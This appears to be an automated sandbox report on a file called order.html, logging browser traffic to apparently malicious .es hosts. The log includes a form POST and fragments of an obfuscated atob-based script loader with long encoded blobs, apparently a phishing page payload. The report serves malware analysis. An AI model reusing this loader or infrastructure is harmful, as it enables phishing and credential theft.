Chrome Cache Entry: 122

Windows Analysis Report
order.html

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:44 UTC	567	OUT	GET /tatay!tr8w7n0r HTTP/1.1 Host: siur4.ugyqwmm.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://ranr5.oqgriud.es Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ranr5.oqgriud.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:45 UTC	281	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 934712f26ee7cd6f-LHR alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:45 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-04-22 18:09:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:46 UTC	1453	OUT	POST /cbAhwlmeXbVlfKI84BpDQEn248txtpk3zPYiXIme0PXcq HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive Content-Length: 1711 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ7MwArRunwmP8Elq sec-ch-ua-mobile: ?0 Accept: / Origin: https://ranr5.oqgriud.es Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkpQbHY0WlptQm9TWVkrbjRKM29KNnc9PSIsInZhbHVlIjoiWlhYbTZ0UW05OEZzZmlTSkk5NlVLNXRTREhZTWd6dlFYcVNFUjVVRGhENnRYeTlhQ1lLWmZQRDQyazN4TzlSbVE4a09Sd0U2elpmRWI4aS9tRDFXYVJhRllaSnJEY25KcDA5YUVsTHMxL0hzUFRLWkdnU2V5Mml1Q2kxdUNzLzUiLCJtYWMiOiIzZTI5NDE2NDZhOWJhZDcwODM3YmFkZmIxOTMyOWYzNjI1NDc2ODAwYjgzMmQ5MzFkYTU1OGUzN2RhMWUwMGQ4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjJtZlFsbS84Sm9CK0dxWTBXbWNqUnc9PSIsInZhbHVlIjoiYVFCRCt6ZCtUYkF6KzQvSGYrL1BXQ0kyYklqbEdWejNCWElUUnRNNmVjTmR3ZUN0dlBXZFdhOWNrNkRRdEtCL0JBbDdSMm41U1NzeFZQYjhnRWJOZCtIWTBMTlBCWnIzdnhpcGhwSDB1ZDl4dld5TUx2SUg0RnJMb2FZb29BMHkiLCJtYWMiOiJjZDlkMmU4YTM5ZDNhN2FlNGU2NjIwYWRhYzIwMmE5OGM2ZDlhMDY3NmQ0ZjQyZjExNmRmNDU3ZmQxODhhNGY0IiwidGFnIjoiIn0%3D
2025-04-22 18:09:46 UTC	1711	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 51 37 4d 77 41 72 52 75 6e 77 6d 50 38 45 6c 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 33 58 51 50 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 51 37 4d 77 41 72 52 75 6e 77 6d 50 38 45 6c 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 46 39 68 61 4a 34 65 38 74 4b 6e 72 53 67 4b 47 59 46 4c 59 70 52 58 45 32 79 6d 50 61 70 44 74 38 6c 46 6c 4b 53 55 77 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 51 37 4d 77 41 Data Ascii: ------WebKitFormBoundaryQ7MwArRunwmP8ElqContent-Disposition: form-data; name="bltpg"3XQP------WebKitFormBoundaryQ7MwArRunwmP8ElqContent-Disposition: form-data; name="sid"F9haJ4e8tKnrSgKGYFLYpRXE2ymPapDt8lFlKSUw------WebKitFormBoundaryQ7MwA
2025-04-22 18:09:47 UTC	1220	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:47 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1YRhkNXsw50dF9GRIrYb6ckvVJjzwwTLpyyGFqb0oIzV9NgD8GS3bW%2Bblns5nTkKgYKZzy7nQO8zPy%2FBEawcrp7QT9ebqJXbrKZO1VjKQC%2B803JBq%2FJf8V9cCE1t"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=15390&min_rtt=15381&rtt_var=4342&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2825&recv_bytes=4071&delivery_rate=262069&cwnd=252&unsent_bytes=0&cid=9fa2126210c961d4&ts=192&x=0" Vary: accept-encoding Set-Cookie: XSRF-TOKEN=eyJpdiI6IkR4Z0NSZlNKOHRQZUJvUlBQT1BsTWc9PSIsInZhbHVlIjoiYVlkRGJqcU42NmFzV0pZcWFvd1lqZzBRbzZPM2YrK0djK1dHZFdkVFducUNvLzNvVEN4Y2hrYXFnV0NNbEp3ME5ZSFVoNEFiQnZJb0YzQmtoSVJtN1lOVEJpNTVTc3o1cXJUQm8vS0U3VFdUemlhSnZOaysrUjdsVEhmSWs3S2wiLCJtYWMiOiJiM2U2ZTU2ZmQ4MDZhNDQwNWZkNDFhNmQxMTE0NzgwYzExYWIxYjRmOGE3MDZmZjVhZDFkNzQwYjliY2Q1Y2NkIiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 22 Apr 2025 20:09:46 GMT
2025-04-22 18:09:47 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 38 76 61 45 64 75 51 6b 5a 35 61 55 74 53 55 6d 67 35 56 57 78 53 62 48 67 7a 61 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 31 56 4a 5a 30 55 7a 5a 54 4a 5a 55 45 77 30 4c 7a 52 78 5a 7a 46 48 5a 58 6c 68 52 56 64 32 63 30 52 6d 63 32 6c 49 63 45 31 76 59 32 70 4c 59 57 74 54 54 46 64 54 54 58 70 34 4d 45 35 72 51 6d 56 31 63 55 70 30 63 6b 70 30 61 46 64 6b 4f 56 52 46 51 33 46 68 65 45 70 5a 61 55 45 76 51 6a 46 53 64 58 45 32 54 57 74 56 4c 30 5a 4a 61 6a 64 43 4d 54 6c 68 57 6d 68 4c 51 32 52 59 62 6d 39 79 55 69 74 6d 63 7a 4e 49 5a 33 56 31 4d 54 55 79 53 57 46 57 65 6b 39 55 52 33 70 73 4d 30 56 5a 62 33 64 43 5a 57 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Ik8vaEduQkZ5aUtSUmg5VWxSbHgza0E9PSIsInZhbHVlIjoiS1VJZ0UzZTJZUEw0LzRxZzFHZXlhRVd2c0Rmc2lIcE1vY2pLYWtTTFdTTXp4ME5rQmV1cUp0ckp0aFdkOVRFQ3FheEpZaUEvQjFSdXE2TWtVL0ZJajdCMTlhWmhLQ2RYbm9yUitmczNIZ3V1MTUySWFWek9UR3psM0VZb3dCZWo
2025-04-22 18:09:47 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-04-22 18:09:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:46 UTC	394	OUT	GET /tatay!tr8w7n0r HTTP/1.1 Host: siur4.ugyqwmm.es Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:10:21 UTC	281	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Access-Control-Allow-Origin: * Cf-Cache-Status: DYNAMIC CF-RAY: 934712ff68aacd2e-LHR alt-svc: h3=":443"; ma=86400
2025-04-22 18:10:21 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-04-22 18:10:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:47 UTC	1506	OUT	GET /xWG7spS/$email@gmail.com HTTP/1.1 Host: ranr5.oqgriud.es Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkR4Z0NSZlNKOHRQZUJvUlBQT1BsTWc9PSIsInZhbHVlIjoiYVlkRGJqcU42NmFzV0pZcWFvd1lqZzBRbzZPM2YrK0djK1dHZFdkVFducUNvLzNvVEN4Y2hrYXFnV0NNbEp3ME5ZSFVoNEFiQnZJb0YzQmtoSVJtN1lOVEJpNTVTc3o1cXJUQm8vS0U3VFdUemlhSnZOaysrUjdsVEhmSWs3S2wiLCJtYWMiOiJiM2U2ZTU2ZmQ4MDZhNDQwNWZkNDFhNmQxMTE0NzgwYzExYWIxYjRmOGE3MDZmZjVhZDFkNzQwYjliY2Q1Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik8vaEduQkZ5aUtSUmg5VWxSbHgza0E9PSIsInZhbHVlIjoiS1VJZ0UzZTJZUEw0LzRxZzFHZXlhRVd2c0Rmc2lIcE1vY2pLYWtTTFdTTXp4ME5rQmV1cUp0ckp0aFdkOVRFQ3FheEpZaUEvQjFSdXE2TWtVL0ZJajdCMTlhWmhLQ2RYbm9yUitmczNIZ3V1MTUySWFWek9UR3psM0VZb3dCZWoiLCJtYWMiOiI2ZTEyNmNlNzMxZDEzYTJmMTg2ODJhNTVkMjc5NjhmNDU2MzI4ZDg1OGM5Mzk2MGI3YTU1YzY4NzEwZDJkZjJlIiwidGFnIjoiIn0%3D
2025-04-22 18:09:48 UTC	1223	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Cache-Control: no-cache, private Cf-Cache-Status: DYNAMIC Vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ol3KEBTtlUVq4IQcBH4O%2BT6hW1jfC7bLq3CTZooqRO%2B3xkVDvdd60VDWyKjV7onOmsiFqnN7EwslNPJ01pCroLzU4x8nUcPkoiJNc423KX%2FrPrrLGxdWYsurkEl"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=302&min_rtt=289&rtt_var=105&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2403&delivery_rate=11554285&cwnd=252&unsent_bytes=0&cid=e535c6a1f6e3cf0c&ts=200&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImxGcmJ1UXhXYUtnZ1k0eHd3ZVM2TkE9PSIsInZhbHVlIjoib2JQUVdJa1JFSmhMZk5uQ3NXVlN5dmV2ekNISk4wV3p0NkJvcUdWU2kzUHBxUU9LMmwxN3ZBZDdhMFVKZy9WOFFOU3ZSQ0Y1dEhnLzFsR0VzVS9SUktjZUszVHlXb0Z6d212REtkZEdZS1gxcFZkTW9ua1lFekt1Z1A2OU5BOHAiLCJtYWMiOiJiYjQxYTM0MjBmNmU3NzE4ZmE2NjM2YmY4NzljMTEzNjUzYjI2MDAzZjNhZjI3MGRhNTBlYzRjOTIxMGQyYjc1IiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 22 Apr 2025 20:09:48 GMT
2025-04-22 18:09:48 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 6c 51 63 31 4e 70 62 44 56 6b 4e 6e 5a 31 5a 31 5a 7a 4b 32 74 32 4e 45 6c 33 63 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 63 6a 46 36 4d 33 68 4c 62 46 55 30 4d 58 45 79 64 6c 4d 30 4f 55 46 55 57 45 4e 6d 61 7a 63 32 5a 6a 52 5a 4e 31 6c 48 62 55 68 7a 63 6b 64 59 5a 46 6c 4c 65 6a 46 36 4d 33 52 58 4d 6c 5a 30 54 53 38 30 5a 31 4e 34 55 31 42 36 63 54 52 55 4f 45 46 54 55 47 52 74 65 58 4a 54 63 33 52 6d 56 55 46 4d 65 6e 70 50 5a 6a 41 31 64 46 56 77 53 6e 59 77 4f 57 35 57 54 31 45 77 62 6c 4e 50 57 56 63 34 57 56 5a 53 62 58 5a 68 4d 32 51 77 51 32 39 45 61 6e 42 4d 52 55 68 33 4e 48 67 35 4e 57 5a 32 63 47 4e 4d 52 48 41 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InlQc1NpbDVkNnZ1Z1ZzK2t2NEl3cWc9PSIsInZhbHVlIjoicjF6M3hLbFU0MXEydlM0OUFUWENmazc2ZjRZN1lHbUhzckdYZFlLejF6M3RXMlZ0TS80Z1N4U1B6cTRUOEFTUGRteXJTc3RmVUFMenpPZjA1dFVwSnYwOW5WT1EwblNPWVc4WVZSbXZhM2QwQ29EanBMRUh3NHg5NWZ2cGNMRHA
2025-04-22 18:09:48 UTC	987	IN	Data Raw: 31 32 66 30 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 64 56 55 6b 62 4c 41 57 65 75 20 3d 20 61 74 6f 62 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 65 4e 6e 61 4c 69 45 6a 47 7a 28 49 47 57 45 63 42 4b 66 73 61 2c 20 65 72 4e 6d 56 72 64 44 56 6e 29 20 7b 0d 0a 6c 65 74 20 75 51 54 71 61 4e 6a 63 51 56 20 3d 20 27 27 3b 0d 0a 49 47 57 45 63 42 4b 66 73 61 20 3d 20 64 56 55 6b 62 4c 41 57 65 75 28 49 47 57 45 63 42 4b 66 73 61 29 3b 0d 0a 6c 65 74 20 58 4a 65 43 6a 71 69 67 49 44 20 3d 20 65 72 4e 6d 56 72 64 44 56 6e 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 49 47 57 45 63 42 4b 66 73 61 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 75 51 54 71 61 4e 6a 63 51 56 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f Data Ascii: 12f0<script>dVUkbLAWeu = atob;function eNnaLiEjGz(IGWEcBKfsa, erNmVrdDVn) {let uQTqaNjcQV = '';IGWEcBKfsa = dVUkbLAWeu(IGWEcBKfsa);let XJeCjqigID = erNmVrdDVn.length;for (let i = 0; i < IGWEcBKfsa.length; i++) { uQTqaNjcQV += String.fro
2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 55 46 42 67 4d 4c 78 39 43 41 7a 55 4d 4e 43 45 34 43 41 6f 6e 4c 54 45 4c 4a 7a 6f 35 43 78 45 43 41 41 51 6e 45 69 49 5a 4d 42 4d 69 43 53 55 54 50 6d 51 68 50 42 41 32 46 79 6b 68 4e 53 55 46 41 79 67 66 50 69 51 52 4a 53 35 59 4f 54 34 54 45 41 78 54 45 52 39 43 57 52 6f 59 47 6d 41 65 4d 43 51 76 50 69 6f 51 4c 42 45 55 47 77 59 43 44 7a 6b 66 4d 79 55 57 5a 78 4d 6d 63 68 6b 75 57 51 73 4e 44 42 41 2b 46 78 34 51 49 67 34 42 47 42 6f 31 48 6a 41 6b 4c 7a 34 71 45 43 77 52 46 42 73 47 41 67 73 32 44 68 67 49 47 6d 41 54 4a 6a 38 6b 45 6a 77 66 50 51 49 51 44 31 63 43 44 44 49 51 48 44 49 61 62 68 59 67 65 77 4d 2b 4b 68 41 73 45 52 51 62 42 67 49 4c 4e 67 34 59 43 42 6b 77 50 78 67 4a 49 68 4d 68 47 7a 67 58 50 68 68 52 4b 43 59 68 42 52 30 49 47 69 Data Ascii: UFBgMLx9CAzUMNCE4CAonLTELJzo5CxECAAQnEiIZMBMiCSUTPmQhPBA2FykhNSUFAygfPiQRJS5YOT4TEAxTER9CWRoYGmAeMCQvPioQLBEUGwYCDzkfMyUWZxMmchkuWQsNDBA+Fx4QIg4BGBo1HjAkLz4qECwRFBsGAgs2DhgIGmATJj8kEjwfPQIQD1cCDDIQHDIabhYgewM+KhAsERQbBgILNg4YCBkwPxgJIhMhGzgXPhhRKCYhBR0IGi
2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 48 44 4d 63 44 6d 63 44 4d 67 6c 77 45 53 6f 54 4a 7a 77 36 44 42 51 76 43 30 49 64 43 78 4d 4b 50 77 6c 54 48 58 30 38 4f 68 41 6d 45 6a 42 71 4b 67 49 4c 4e 67 34 59 43 42 6b 77 45 79 49 4b 4c 7a 34 71 45 43 77 54 46 42 77 6a 47 6e 6b 54 57 6a 56 37 4c 41 51 50 4e 6e 6f 50 4f 77 51 58 4f 44 77 55 47 46 6b 74 43 7a 55 46 4e 53 59 4f 49 6a 34 69 66 69 41 56 49 51 4d 48 41 67 38 78 45 51 49 4c 4c 67 51 56 47 6a 63 77 45 79 49 4b 4c 7a 34 71 45 43 77 52 46 42 73 47 41 67 73 31 42 54 55 6d 44 69 49 2b 49 6e 34 36 4c 54 45 39 44 7a 70 6c 43 41 30 43 44 45 64 51 41 52 67 61 46 51 74 51 4c 33 73 54 57 53 55 59 44 51 42 72 4a 67 63 6c 41 77 55 30 48 68 59 68 41 43 59 65 42 6a 51 41 45 43 77 52 46 42 73 47 41 67 73 32 44 68 6f 66 4b 78 6b 5a 43 41 6f 76 50 69 6f Data Ascii: HDMcDmcDMglwESoTJzw6DBQvC0IdCxMKPwlTHX08OhAmEjBqKgILNg4YCBkwEyIKLz4qECwTFBwjGnkTWjV7LAQPNnoPOwQXODwUGFktCzUFNSYOIj4ifiAVIQMHAg8xEQILLgQVGjcwEyIKLz4qECwRFBsGAgs1BTUmDiI+In46LTE9DzplCA0CDEdQARgaFQtQL3sTWSUYDQBrJgclAwU0HhYhACYeBjQAECwRFBsGAgs2DhofKxkZCAovPio
2025-04-22 18:09:48 UTC	1131	IN	Data Raw: 51 6b 37 4c 6a 34 66 4a 78 4d 55 50 67 34 76 41 43 55 65 4d 6a 45 33 49 52 5a 54 4c 7a 34 56 57 7a 55 34 41 67 52 76 43 79 6c 36 52 77 63 61 48 79 73 5a 47 51 67 4b 4c 7a 34 71 45 43 77 52 46 42 73 47 4c 52 6c 48 49 68 67 49 47 54 41 54 4b 58 73 37 50 69 30 55 50 42 55 55 4d 56 59 50 47 51 64 51 47 68 67 2f 4a 78 55 57 64 6e 56 51 51 48 68 6a 63 57 78 58 61 33 64 6e 42 41 6f 6a 49 69 67 6a 5a 47 78 42 64 41 51 4b 49 79 49 6f 49 32 52 73 51 53 34 43 42 7a 49 2f 4d 54 67 30 51 53 34 6e 42 51 77 7a 42 7a 34 67 43 77 78 6a 59 51 78 6b 57 7a 77 78 4f 54 34 4f 50 47 59 62 42 6a 49 71 4c 44 34 31 44 32 55 36 45 68 6b 39 4b 6a 73 79 63 6b 59 6a 50 41 4d 5a 49 6e 46 33 65 44 30 4f 4a 43 38 62 44 48 38 6f 4e 7a 70 39 53 48 42 46 66 52 38 77 4f 58 67 32 43 6a 73 42 Data Ascii: Qk7Lj4fJxMUPg4vACUeMjE3IRZTLz4VWzU4AgRvCyl6RwcaHysZGQgKLz4qECwRFBsGLRlHIhgIGTATKXs7Pi0UPBUUMVYPGQdQGhg/JxUWdnVQQHhjcWxXa3dnBAojIigjZGxBdAQKIyIoI2RsQS4CBzI/MTg0QS4nBQwzBz4gCwxjYQxkWzwxOT4OPGYbBjIqLD41D2U6Ehk9KjsyckYjPAMZInF3eD0OJC8bDH8oNzp9SHBFfR8wOXg2CjsB
2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 32 35 61 32 0d 0a 30 7a 50 78 4a 6a 62 31 31 4f 65 47 4a 34 4c 46 64 72 61 32 68 58 53 58 46 72 65 48 63 50 46 6a 67 45 46 41 63 6e 49 68 41 32 65 6c 78 72 50 78 34 48 4e 53 51 76 65 54 59 4f 4b 43 6b 44 41 44 34 6c 64 6a 38 6f 42 43 31 6d 42 42 6b 39 49 69 78 2f 66 55 74 73 59 56 6b 5a 50 6a 74 77 66 6e 51 54 4c 6a 67 62 43 44 49 75 63 48 68 2f 56 67 6c 6e 45 45 56 78 62 48 39 2b 64 42 4d 75 4f 42 73 49 4d 69 35 77 65 48 39 57 44 32 63 51 52 58 46 73 66 33 35 68 62 45 46 6f 56 30 6c 78 61 33 68 33 65 67 67 74 61 46 38 69 4d 69 30 7a 45 77 38 49 4b 42 6b 6c 51 51 51 38 4b 78 73 35 44 7a 30 68 50 77 68 34 59 6e 67 73 56 32 74 72 61 46 64 4a 63 57 74 34 64 7a 45 77 42 6a 6f 75 43 41 45 74 4c 54 35 36 58 47 74 71 49 44 68 7a 63 46 56 64 65 6b 46 72 61 46 64 Data Ascii: 25a20zPxJjb11OeGJ4LFdra2hXSXFreHcPFjgEFAcnIhA2elxrPx4HNSQveTYOKCkDAD4ldj8oBC1mBBk9Iix/fUtsYVkZPjtwfnQTLjgbCDIucHh/VglnEEVxbH9+dBMuOBsIMi5weH9WD2cQRXFsf35hbEFoV0lxa3h3eggtaF8iMi0zEw8IKBklQQQ8Kxs5Dz0hPwh4YngsV2traFdJcWt4dzEwBjouCAEtLT56XGtqIDhzcFVdekFraFd
2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 44 45 45 47 79 4e 4c 66 55 5a 53 49 69 67 4e 63 57 68 56 52 69 73 6f 4b 6a 78 72 55 42 45 4e 49 43 55 41 4f 52 34 6d 62 78 45 59 4c 77 31 59 59 43 45 36 41 77 73 31 43 67 51 48 48 43 67 6e 4f 54 38 69 41 77 63 39 4f 54 6b 32 45 54 6b 2b 4b 67 30 2f 42 42 77 35 46 53 30 76 64 58 5a 73 51 53 77 57 48 54 42 78 65 43 77 2b 41 44 38 70 54 55 6b 72 44 78 6f 5a 4f 54 51 4a 4b 69 38 64 4c 47 64 56 58 53 6b 55 4b 43 73 53 47 69 4a 78 65 44 45 76 44 79 67 38 48 67 59 2f 59 7a 77 32 4c 67 42 69 61 41 78 6b 57 7a 30 35 4a 58 6f 61 4b 6d 51 56 52 54 4a 6e 50 43 70 36 58 47 73 43 4a 43 59 66 5a 53 67 32 4b 42 49 75 59 42 4d 49 4a 53 70 78 62 46 64 72 42 42 77 39 45 43 4d 68 48 42 30 70 45 57 74 31 56 79 6f 6a 4d 69 67 6a 4e 53 73 59 5a 6a 59 73 41 6d 55 38 4d 6a 6b 54 Data Ascii: DEEGyNLfUZSIigNcWhVRisoKjxrUBENICUAOR4mbxEYLw1YYCE6Aws1CgQHHCgnOT8iAwc9OTk2ETk+Kg0/BBw5FS0vdXZsQSwWHTBxeCw+AD8pTUkrDxoZOTQJKi8dLGdVXSkUKCsSGiJxeDEvDyg8HgY/Yzw2LgBiaAxkWz05JXoaKmQVRTJnPCp6XGsCJCYfZSg2KBIuYBMIJSpxbFdrBBw9ECMhHB0pEWt1VyojMigjNSsYZjYsAmU8MjkT
2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 55 30 4f 44 6b 41 50 79 45 59 42 33 38 37 4f 53 4d 79 44 79 6f 6c 45 6b 42 78 62 58 35 33 65 30 34 58 5a 79 78 44 64 52 5a 33 65 53 34 45 4f 44 78 66 48 6a 67 6c 50 44 67 74 54 79 63 6e 46 41 67 6c 49 6a 63 35 64 42 45 71 50 42 38 48 4d 43 59 39 66 6e 4d 61 52 6b 4a 58 53 58 46 72 4c 7a 34 30 42 53 51 2f 57 51 55 2b 4b 44 6b 6a 4d 77 34 6c 5a 67 55 4d 49 53 63 35 4e 44 39 4a 50 43 45 5a 44 54 34 38 64 6a 73 31 41 69 6f 38 48 67 59 2f 5a 53 67 32 4c 67 6b 6c 4b 52 6f 4d 66 7a 6b 39 4a 7a 59 41 4b 43 31 66 52 6e 52 35 61 33 67 39 54 57 74 76 56 45 35 34 5a 53 6f 79 4b 67 30 71 4b 78 4a 42 66 6d 35 72 45 58 55 47 5a 32 68 51 56 6e 5a 69 64 69 55 2f 45 53 63 70 46 41 78 35 5a 48 31 67 47 45 34 73 5a 46 64 4f 4b 6d 78 78 65 53 67 45 4f 79 51 57 43 6a 52 6a 64 Data Ascii: U0ODkAPyEYB387OSMyDyolEkBxbX53e04XZyxDdRZ3eS4EODxfHjglPDgtTycnFAglIjc5dBEqPB8HMCY9fnMaRkJXSXFrLz40BSQ/WQU+KDkjMw4lZgUMISc5ND9JPCEZDT48djs1Aio8HgY/ZSg2LgklKRoMfzk9JzYAKC1fRnR5a3g9TWtvVE54ZSoyKg0qKxJBfm5rEXUGZ2hQVnZidiU/EScpFAx5ZH1gGE4sZFdOKmxxeSgEOyQWCjRjd
2025-04-22 18:09:48 UTC	1369	IN	Data Raw: 57 42 44 52 6c 4b 6a 49 71 44 53 6f 72 45 6b 46 2b 62 6d 70 6b 64 51 5a 6e 61 46 42 4b 64 6d 4a 32 4a 54 38 52 4a 79 6b 55 44 48 6c 6b 66 57 51 63 54 69 78 6b 56 30 35 75 62 48 46 35 4b 41 51 37 4a 42 59 4b 4e 47 4e 33 63 6d 30 6a 5a 43 39 62 53 58 59 77 66 33 35 30 45 79 34 34 47 77 67 79 4c 6e 42 34 66 31 59 50 5a 78 42 46 63 57 77 6c 63 48 4e 49 63 45 56 39 53 58 46 72 65 43 70 58 61 32 74 6f 56 30 6b 34 4c 58 41 41 49 41 34 45 48 7a 77 49 45 44 6f 33 64 32 64 63 61 79 59 43 42 54 31 72 66 6e 46 36 54 6d 35 36 52 42 56 30 65 42 34 72 66 31 59 4a 4e 46 4a 65 46 57 52 32 49 7a 38 53 50 32 41 41 41 44 38 76 4e 79 42 30 44 53 51 72 46 68 30 34 4a 44 5a 35 4b 67 41 2f 49 42 6b 49 50 43 35 78 64 33 78 48 61 32 63 72 52 67 70 68 66 41 70 31 54 7a 38 74 42 42 Data Ascii: WBDRlKjIqDSorEkF+bmpkdQZnaFBKdmJ2JT8RJykUDHlkfWQcTixkV05ubHF5KAQ7JBYKNGN3cm0jZC9bSXYwf350Ey44GwgyLnB4f1YPZxBFcWwlcHNIcEV9SXFreCpXa2toV0k4LXAAIA4EHzwIEDo3d2dcayYCBT1rfnF6Tm56RBV0eB4rf1YJNFJeFWR2Iz8SP2AAAD8vNyB0DSQrFh04JDZ5KgA/IBkIPC5xd3xHa2crRgphfAp1Tz8tBB
